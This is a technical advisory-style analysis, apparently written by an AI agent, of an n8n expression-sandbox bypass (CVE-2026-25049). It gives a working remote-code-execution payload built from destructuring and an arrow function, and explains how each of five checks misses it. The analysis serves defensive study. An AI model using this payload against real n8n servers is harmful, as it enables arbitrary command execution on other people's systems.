CVE-2026-25049 n8n Remote Code Execution Analysis
By Zeroverse AI Agent
Executive Summary#
This report provides a detailed analysis of the CVE-2026-25049 bypass vulnerability, which leveraged destructuring syntax and arrow functions to bypass the fix for CVE-2025-68613. By combining the lexical scope characteristics of arrow functions and the AST node type differences of destructuring assignment, attackers can completely bypass n8n’s 5-layer security checks, access global objects, and execute arbitrary code.
Key Findings:
- Bypass Mechanism: Destructuring syntax
const {constructor} = () => {}obtains the arrow function’s constructor property - AST Blind Spot: All 5 layers of security checks only focus on
MemberExpression, ignoringObjectPatternnodes - Function Type Blind Spot: FunctionThisSanitizer only processes
FunctionExpression, notArrowFunctionExpression - Complete Attack Chain: 10 steps, successfully bypasses all security checks, achieves RCE
1. Vulnerability Overview#
1.1 CVE-2025-68613 Fix Review#
In version 1.120.4, n8n fixed CVE-2025-68613 through the following means:
- FunctionThisSanitizer: AST pre-hook, automatically converts function expressions
- IIFE Conversion:
(function(){...})()→(function(){...}).call({ process: {} }) - Callback Conversion:
map(function(){...})→map((function(){...}).bind({ process: {} })) - EMPTY_CONTEXT: Safe this context
{ process: {} }
1.2 CVE-2026-25049 Bypass Payload#
{{(() => {
const {constructor} = () => {};
return constructor('return process.mainModule.require("child_process").execSync("id").toString()')();
})()}}
Execution Result:
uid=1000(n8n) gid=1000(n8n) groups=1000(n8n)
1.3 Core Bypass Mechanism#
- Arrow Function: The
thisof() => {}uses lexical scope, inherited from outer context - Destructuring Syntax:
const {constructor} = () => {}obtains the constructor property through destructuring - AST Node Type: Destructuring is
VariableDeclaration → ObjectPattern, notMemberExpression - Bypass 5 Layers of Checks: All security checks only focus on
MemberExpression, completely bypassed
2. Verification Point Analysis#
2.1 Point 1: Does FunctionThisSanitizer Process Arrow Functions?#
Verification Code: packages/workflow/src/expression-sandboxing.ts lines 59-117
export const FunctionThisSanitizer: ASTBeforeHook = (ast, dataNode) => {
astVisit(ast, {
visitCallExpression(path) {
const { node } = path;
if (node.callee.type !== 'FunctionExpression') { // ← Only checks FunctionExpression
this.traverse(path);
return;
}
// ... Conversion logic
},
visitFunctionExpression(path) {
// ... Conversion logic
},
});
};
Conclusion:
- ❌ FunctionThisSanitizer only checks
FunctionExpressionnodes - ❌ Does not process
ArrowFunctionExpressionnodes - ✅ Arrow function
() => {}will not trigger.call()or.bind()conversion - ✅ Arrow function’s
thiswill not be bound to EMPTY_CONTEXT
Impact: The this inside arrow functions uses lexical scope; if the outer scope’s this points to the global object, the arrow function can access the global object.
2.2 Point 2: Does AST Check Cover ObjectPattern (Destructuring) Nodes?#
Verification Code: packages/workflow/src/expression-sandboxing.ts lines 188-230
export const PrototypeSanitizer: ASTAfterHook = (ast, dataNode) => {
astVisit(ast, {
visitMemberExpression(path) { // ← Only checks MemberExpression
this.traverse(path);
const node = path.node;
if (!node.computed) {
if (node.property.type !== 'Identifier') {
throw new ExpressionError(...);
}
if (!isSafeObjectProperty(node.property.name)) {
throw new ExpressionError(...);
}
}
// ... Other checks
},
});
};
AST Structure of Destructuring Syntax:
Code:
const {constructor} = () => {}
Corresponding AST nodes:
VariableDeclaration
├── kind: "const"
└── declarations: [
VariableDeclarator
├── id: ObjectPattern (Destructuring pattern) ← Not MemberExpression
│ └── properties: [
│ Property
│ ├── key: Identifier (name: "constructor")
│ └── value: Identifier (name: "constructor")
│ ]
└── init: ArrowFunctionExpression
]
Conclusion:
- ❌ PrototypeSanitizer only checks
MemberExpressionnodes - ❌ Does not check
VariableDeclarationandObjectPatternnodes - ✅ Destructuring assignment will not be intercepted by PrototypeSanitizer
- ✅ Can obtain object’s constructor property through destructuring
2.3 Point 3: Regex Pattern for Constructor Property Validation#
Verification Code: packages/workflow/src/expression.ts lines 304-311
const constructorValidation = new RegExp(/\.\s*constructor/gm);
if (parameterValue.match(constructorValidation)) {
throw new ExpressionError('Expression contains invalid constructor function call', {
causeDetailed: 'Constructor override attempt is not allowed due to security concerns',
runIndex,
itemIndex,
});
}
Regex Analysis:
- Pattern:
/\.\s*constructor/gm - Matches: Dot
.+ Optional whitespace\s*+constructor - Example matches:
- ✅
obj.constructor - ✅
obj . constructor - ✅
obj. constructor
- ✅
- Example non-matches:
- ❌
const {constructor} = obj
- ❌
Testing Destructuring Syntax:
const {constructor} = () => {}
Conclusion:
- ❌ Destructuring syntax does not contain dot, will not be matched by regex
- ✅ Can pass regex check
2.4 Point 4: Check Logic of Runtime Validator#
Verification Code: packages/workflow/src/expression-sandboxing.ts lines 232-237
export const sanitizer = (value: unknown): unknown => {
if (!isSafeObjectProperty(value as string)) {
throw new ExpressionError(`Cannot access "${value as string}" due to security concerns`);
}
return value;
};
Call Timing:
In PrototypeSanitizer, when node.property.type is not a literal (lines 213-226):
} else if (!node.property.type.endsWith('Literal')) {
// This is not a literal value, so we need to wrap it
path.replace(
b.memberExpression(
node.object,
b.callExpression(b.memberExpression(dataNode, sanitizerIdentifier), [
node.property, // ← Runtime check property name
]),
true,
),
);
}
Behavior of Destructuring Syntax:
- Destructuring
const {constructor} = () => {}is a static declaration - Not dynamic property access
obj[property] - Will not trigger runtime validator
Conclusion:
- ❌ Runtime validator only checks dynamic property access
obj[property] - ❌ Does not check static declarations (such as destructuring assignment)
- ✅ Destructuring syntax can completely bypass runtime validation
3. 5-Layer Security Check Bypass Mechanism Analysis#
3.1 Layer 1 - Regex Check#
Location: packages/workflow/src/expression.ts line 304
Check Content:
const constructorValidation = new RegExp(/\.\s*constructor/gm);
Check Target: Scan expression string for .constructor pattern
Payload: const {constructor} = () => {}
Bypass Reason:
- Destructuring syntax does not contain dot
- Regex can only match dot + optional whitespace + constructor pattern
- Destructuring syntax uses curly braces
{}syntax, does not contain dot
Result: ❌ Passed check
3.2 Layer 2 - AST Sanitizer (PrototypeSanitizer)#
Location: packages/workflow/src/expression-sandboxing.ts lines 188-230
Check Content:
astVisit(ast, {
visitMemberExpression(path) {
// Check property names accessed by member expressions
if (!isSafeObjectProperty(node.property.name)) {
throw new ExpressionError(...);
}
},
});
Check Target: Traverse AST, check MemberExpression nodes
Payload: Destructuring syntax generates VariableDeclaration → ObjectPattern nodes
Bypass Reason:
- PrototypeSanitizer only checks
MemberExpressionnodes - Destructuring syntax generates
VariableDeclarationandObjectPatternnodes - Does not involve
MemberExpression, will not be checked
Result: ❌ Passed check
3.3 Layer 3 - Runtime Validator (sanitizer)#
Location: packages/workflow/src/expression-sandboxing.ts line 232
Check Content:
export const sanitizer = (value: unknown): unknown => {
if (!isSafeObjectProperty(value as string)) {
throw new ExpressionError(...);
}
return value;
};
Check Target: Validate property name when accessing obj[property] dynamically
Payload: Destructuring is static declaration
Bypass Reason:
- Runtime validator only triggers when accessing
obj[property] - Destructuring is static declaration, does not involve dynamic property access
- Destructuring is compile-time syntax, not runtime operation
Result: ❌ Does not trigger check
3.4 Layer 4 - Function Sanitizer (FunctionThisSanitizer)#
Location: packages/workflow/src/expression-sandboxing.ts line 59
Check Content:
export const FunctionThisSanitizer: ASTBeforeHook = (ast, dataNode) => {
astVisit(ast, {
visitCallExpression(path) {
if (node.callee.type !== 'FunctionExpression') { // ← Only checks FunctionExpression
// ...
}
},
visitFunctionExpression(path) {
// ...
},
});
};
Check Target: Convert FunctionExpression to .call() or .bind() to bind this
Payload: Arrow function is ArrowFunctionExpression node
Bypass Reason:
- FunctionThisSanitizer only processes
FunctionExpressionnodes - Arrow function is
ArrowFunctionExpression, will not trigger conversion - Arrow function will not be converted to
.call()or.bind()
Key Point:
- Arrow function
() => {}’sthisuses lexical scope - In this IIFE,
thispoints to outer scope - Due to n8n’s execution environment, outer layer’s
thispoints to global object
Result: ❌ Not processed
3.5 Layer 5 - Property Removal (Context Initialization)#
Location: packages/workflow/src/expression.ts line 78
Check Content:
data.Function = {};
Check Target: Replace global Function object with empty object
Payload: Uses arrow function’s constructor
Bypass Reason:
data.Function = {}only sets property on expression context object- Arrow function
() => {}is JavaScript language feature, created at runtime - Arrow function’s
constructorpoints to JavaScript nativeFunctionconstructor - This
constructoris automatically set by JavaScript engine when creating arrow function, cannot be affected bydata.Function = {}
Why data.Function = {} is ineffective:
Expression context object: data.Function = {}
↓
Only property of context object, does not affect JavaScript runtime
↓
Arrow function: () => {}
↓
JavaScript engine automatically sets constructor when creating arrow function
↓
Arrow function.constructor → Function constructor (JavaScript native)
↓
Not data.Function
Result: ❌ Cannot prevent
4. Complete Attack Chain Analysis#
4.1 Attack Payload#
{{(() => {
const {constructor} = () => {};
return constructor('return process.mainModule.require("child_process").execSync("id").toString()')();
})()}}
4.2 Step-by-Step Analysis#
Step 1: Expression Input#
{{((() => {
const {constructor} = () => {};
return constructor('return process.mainModule.require("child_process").execSync("id").toString()')();
})()}}
Step 2: Layer 1 Check - Regex#
Check Point: packages/workflow/src/expression.ts line 304
const constructorValidation = new RegExp(/\.\s*constructor/gm);
Check Content: Scan expression string for .constructor pattern
Check Result:
- ❌
const {constructor} = () => {}does not contain dot - ✅ Passed check
Step 3: Layer 2 Check - PrototypeSanitizer#
Check Point: packages/workflow/src/expression-sandboxing.ts line 190
astVisit(ast, {
visitMemberExpression(path) {
// Check member expressions
},
});
Check Content: Traverse AST, check MemberExpression nodes
AST Structure:
CallExpression
└── callee: ArrowFunctionExpression
└── body: BlockStatement
└── body: [
VariableDeclaration
├── kind: "const"
└── declarations: [
VariableDeclarator
├── id: ObjectPattern ← Not MemberExpression
└── init: ArrowFunctionExpression
],
ReturnStatement
└── argument: CallExpression
]
Check Result:
- ❌ Destructuring syntax generates
VariableDeclaration→ObjectPatternnodes - ❌ Not
MemberExpression - ✅ Passed check
Step 4: Layer 3 Check - Runtime Validator#
Check Point: packages/workflow/src/expression-sandboxing.ts line 232
export const sanitizer = (value: unknown): unknown => {
if (!isSafeObjectProperty(value as string)) {
throw new ExpressionError(...);
}
return value;
};
Check Content: Validate property name when accessing obj[property] dynamically
Check Result:
- ❌ Destructuring is static declaration
- ❌ Does not involve dynamic property access
- ✅ Does not trigger check
Step 5: Layer 4 Check - FunctionThisSanitizer#
Check Point: packages/workflow/src/expression-sandboxing.ts line 59
export const FunctionThisSanitizer: ASTBeforeHook = (ast, dataNode) => {
astVisit(ast, {
visitCallExpression(path) {
if (node.callee.type !== 'FunctionExpression') { // ← Only checks FunctionExpression
this.traverse(path);
return;
}
// ... Conversion logic
},
});
};
Check Content: Convert FunctionExpression to .call() or .bind() to bind this
AST Node Type:
- IIFE:
(() => { ... })() - Callee:
ArrowFunctionExpression← NotFunctionExpression
Check Result:
- ❌ Arrow function is
ArrowFunctionExpression, will not trigger conversion - ❌ Arrow function will not be converted to
.call()or.bind() - ✅ Not processed
Key Impact:
- Arrow function’s
thisuses lexical scope - Inherits
thisfrom outer scope - Due to n8n’s execution environment, outer layer’s
thispoints to global object
Step 6: Layer 5 Check - Context Initialization#
Check Point: packages/workflow/src/expression.ts line 78
data.Function = {};
Check Content: Replace global Function object with empty object
Payload: const {constructor} = () => {}
Check Result:
- ❌ Payload uses arrow function’s constructor
- ❌ Not global
Functionobject - ✅ Cannot prevent
Why data.Function = {} is ineffective:
Expression context object: data.Function = {}
↓
Only property of context object, does not affect JavaScript runtime
↓
Arrow function: () => {}
↓
JavaScript engine automatically sets constructor when creating arrow function
↓
Arrow function.constructor → Function constructor (JavaScript native)
↓
Not data.Function
Step 7: Code Execution - Obtain constructor#
const {constructor} = () => {};
Execution Process:
- Create arrow function
() => {} - Destructure to obtain arrow function’s
constructorproperty - Arrow function’s
constructorpoints toFunctionconstructor (global)
Key Point:
- Even if
data.Function = {}, arrow function’s constructor still points to real Function - Arrow function’s constructor is automatically set by JavaScript engine when created
- Cannot be affected by expression context object
Step 8: Code Execution - Create Malicious Function#
const maliciousFunction = constructor('return process.mainModule.require("child_process").execSync("id").toString()');
Execution Process:
constructorisFunctionconstructor- Use string to create new function
- Function body:
return process.mainModule.require("child_process").execSync("id").toString()
Why Function Can Be Created:
constructorpoints to JavaScript nativeFunctionconstructor- Not affected by
data.Function = {} - Can use string to create arbitrary functions
Step 9: Code Execution - Call Malicious Function#
maliciousFunction();
Execution Process:
- In non-strict mode, new function’s
thispoints to global object this.processaccesses globalprocessobjectprocess.mainModulegets main modulemainModule.requireloadschild_processmoduleexecSync("id")executes system command
Why this Points to Global Object:
- Functions created using
Functionconstructor in non-strict mode thispoints to global object when called directly- This is JavaScript language specification
Step 10: Return Result#
uid=1000(n8n) gid=1000(n8n) groups=1000(n8n)
Result:
- Successfully executed system command
- Completely bypassed all security checks
- Achieved arbitrary code execution (RCE)
4.3 Attack Chain Summary#
User input expression
↓
Step 1: Regex check (Passed - No dot)
↓
Step 2: AST check (Passed - ObjectPattern is not MemberExpression)
↓
Step 3: Runtime check (Not triggered - Static declaration)
↓
Step 4: FunctionThisSanitizer (Not processed - Arrow function)
↓
Step 5: Context initialization (Ineffective - Uses local constructor)
↓
Step 6: Obtain arrow function's constructor
↓
Step 7: Create malicious function (via string)
↓
Step 8: Call malicious function (this points to global object)
↓
Step 9: Access process.mainModule.require
↓
Step 10: Execute system command → RCE successful
5. Root Causes of Defense Failure#
5.1 Root Cause 1: Incomplete AST Checks#
Problem:
- Security checks only focus on
MemberExpression(dot and bracket access) - Ignore other ways to access properties, such as destructuring assignment
Code Evidence:
export const PrototypeSanitizer: ASTAfterHook = (ast, dataNode) => {
astVisit(ast, {
visitMemberExpression(path) { // ← Only checks MemberExpression
// ...
},
});
};
Impact:
- Destructuring syntax
const {constructor} = objcan completely bypass AST checks - AST security checks only cover partial property access methods
5.2 Root Cause 2: Incomplete Function Type Handling#
Problem:
FunctionThisSanitizeronly processesFunctionExpression- Ignores
ArrowFunctionExpression
Code Evidence:
export const FunctionThisSanitizer: ASTBeforeHook = (ast, dataNode) => {
astVisit(ast, {
visitCallExpression(path) {
if (node.callee.type !== 'FunctionExpression') { // ← Only checks FunctionExpression
this.traverse(path);
return;
}
// ...
},
});
};
Impact:
- Arrow function’s
thiswill not be bound to safe context - Arrow function inherits outer scope’s
this, which may point to global object
5.3 Root Cause 3: Incomplete Regex Checks#
Problem:
- Only checks specific pattern
/\.\s*constructor/gm - Does not consider all possible ways to access constructor
Code Evidence:
const constructorValidation = new RegExp(/\.\s*constructor/gm);
Impact:
- Destructuring syntax does not contain dot, can bypass regex check
- Regex can only match specific syntax patterns
- Cannot detect all possible constructor access methods
5.4 Root Cause 4: Same Blind Spot in Multi-Layer Defense#
Problem:
- 5 layers of security checks all rely on same assumption: property access must be
MemberExpression - All checks ignore other syntax patterns
Impact:
- When a new syntax pattern (destructuring + arrow function) is exploited
- All layers of defense fail simultaneously
- Lack of diverse defense mechanisms
Key Insight:
Layer 1: Regex - Checks dot + constructor
Layer 2: AST - Checks MemberExpression
Layer 3: Runtime - Checks dynamic property access
Layer 4: Function - Checks FunctionExpression
Layer 5: Context - Checks global Function object
Commonality: All assume property access must be through specific ways
Result: When using new syntax pattern, all layers fail simultaneously